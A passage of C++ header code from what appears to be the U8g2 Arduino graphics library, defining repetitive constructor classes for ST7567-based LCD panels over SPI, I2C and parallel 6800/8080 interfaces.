cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_erc13232_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_ERC13232_2_6800 : public U8G2 { public: U8G2_ST7567_ERC13232_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_erc13232_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_ERC13232_2_8080 : public U8G2 { public: U8G2_ST7567_ERC13232_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_erc13232_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_ERC13232_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_ERC13232_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_erc13232_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_ERC13232_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_ERC13232_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_erc13232_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_ERC13232_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_ERC13232_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_erc13232_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_ERC13232_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_ERC13232_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_erc13232_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_ERC13232_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_ERC13232_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_erc13232_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_ERC13232_F_6800 : public U8G2 { public: U8G2_ST7567_ERC13232_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_erc13232_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_ERC13232_F_8080 : public U8G2 { public: U8G2_ST7567_ERC13232_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_erc13232_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_ERC13232_1_SW_I2C : public U8G2 { public: U8G2_ST7567_ERC13232_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_erc13232_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_ERC13232_1_HW_I2C : public U8G2 { public: U8G2_ST7567_ERC13232_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_erc13232_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_ERC13232_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_ERC13232_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_erc13232_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7567_ERC13232_2_SW_I2C : public U8G2 { public: U8G2_ST7567_ERC13232_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_erc13232_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_ERC13232_2_HW_I2C : public U8G2 { public: U8G2_ST7567_ERC13232_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_erc13232_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_ERC13232_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_ERC13232_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_erc13232_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7567_ERC13232_F_SW_I2C : public U8G2 { public: U8G2_ST7567_ERC13232_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_erc13232_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_ERC13232_F_HW_I2C : public U8G2 { public: U8G2_ST7567_ERC13232_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_erc13232_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_ERC13232_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_ERC13232_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_erc13232_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7567_122X32_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_122X32_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_122x32_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_122X32_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_122X32_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_122x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_122X32_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_122X32_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_122x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_122X32_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_122X32_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_122x32_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_122X32_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_122X32_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_122x32_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_122X32_1_6800 : public U8G2 { public: U8G2_ST7567_122X32_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_122x32_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_122X32_1_8080 : public U8G2 { public: U8G2_ST7567_122X32_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_122x32_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_122X32_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_122X32_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_122x32_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_122X32_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_122X32_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_122x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_122X32_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_122X32_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_122x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_122X32_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_122X32_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_122x32_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_122X32_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_122X32_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_122x32_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_122X32_2_6800 : public U8G2 { public: U8G2_ST7567_122X32_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_122x32_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_122X32_2_8080 : public U8G2 { public: U8G2_ST7567_122X32_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_122x32_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_122X32_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_122X32_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_122x32_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_122X32_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_122X32_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_122x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_122X32_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_122X32_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_122x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_122X32_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_122X32_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_122x32_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_122X32_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_122X32_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_122x32_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_122X32_F_6800 : public U8G2 { public: U8G2_ST7567_122X32_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_122x32_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_122X32_F_8080 : public U8G2 { public: U8G2_ST7567_122X32_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_122x32_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_122X32_1_SW_I2C : public U8G2 { public: U8G2_ST7567_122X32_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_122x32_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_122X32_1_HW_I2C : public U8G2 { public: U8G2_ST7567_122X32_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_122x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_122X32_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_122X32_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_122x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7567_122X32_2_SW_I2C : public U8G2 { public: U8G2_ST7567_122X32_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_122x32_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_122X32_2_HW_I2C : public U8G2 { public: U8G2_ST7567_122X32_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_122x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_122X32_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_122X32_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_122x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7567_122X32_F_SW_I2C : public U8G2 { public: U8G2_ST7567_122X32_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_122x32_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_122X32_F_HW_I2C : public U8G2 { public: U8G2_ST7567_122X32_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_122x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_122X32_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_122X32_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_122x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7567_64X32_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_64X32_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_64x32_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_64X32_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_64X32_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_64x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_64X32_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_64X32_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_64x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_64X32_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_64X32_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_64x32_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_64X32_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_64X32_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_64x32_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_64X32_1_6800 : public U8G2 { public: U8G2_ST7567_64X32_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_64x32_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_64X32_1_8080 : public U8G2 { public: U8G2_ST7567_64X32_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_64x32_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_HEM6432_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_HEM6432_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_hem6432_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_HEM6432_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_HEM6432_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_hem6432_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_HEM6432_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_HEM6432_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_hem6432_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_HEM6432_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_HEM6432_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_hem6432_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_HEM6432_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_HEM6432_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { 